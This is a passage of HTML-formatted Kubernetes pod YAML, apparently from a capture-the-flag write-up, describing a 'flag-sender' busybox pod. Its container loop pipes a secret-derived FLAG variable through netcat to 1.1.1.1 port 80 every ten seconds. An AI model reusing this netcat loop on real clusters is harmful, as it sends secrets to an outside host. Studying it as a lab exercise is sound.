UI;font-variant:normal;text-transform:none;color:#0077AA;">app</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">pod-template-hash</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 676776d678          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">676776d678</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">gvqdz          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">namespace</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ownerReferences</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> apps/v1          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">blockOwnerDeletion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">controller</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">kind</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ReplicaSet          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">676776d678          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">uid</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 293678f8</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">6b9d</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">4768</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">bece</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">da16ce3925ac          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">resourceVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;695&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">uid</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> d3805db6</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">1ebb</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">4339</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">9cb3</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">9f27cec0c7b7</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>spec</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">containers</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">args</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">c          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> while true; do echo $FLAG </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">|</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> nc 1.1.1.1 80 </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">||</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> continue; echo &#39;Flag Send&#39;; sleep          <br/><span style="mso-spacerun:yes;">      </span>10; done          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">command</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> sh          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">env</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> FLAG          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">valueFrom</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">secretKeyRef</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">key</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">image</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busybox          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">imagePullPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> IfNotPresent          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> container          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">resources</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{}</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">terminationMessagePath</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> /dev/termination</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">log          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">terminationMessagePolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> File          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">volumeMounts</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">mountPath</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> /var/run/secrets/kubernetes.io/serviceaccount          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kube</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">api</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">access</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">r7pkx          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">readOnly</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">dnsPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ClusterFirst          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">enableServiceLinks</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">nodeName</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flux</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">cluster</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">7555ba3d6a2a4a0bad267e0b9c33c8c2</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span 